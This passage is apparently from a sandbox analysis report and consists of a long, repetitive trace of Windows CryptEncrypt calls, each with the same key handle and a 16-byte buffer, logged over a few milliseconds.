pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.051] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 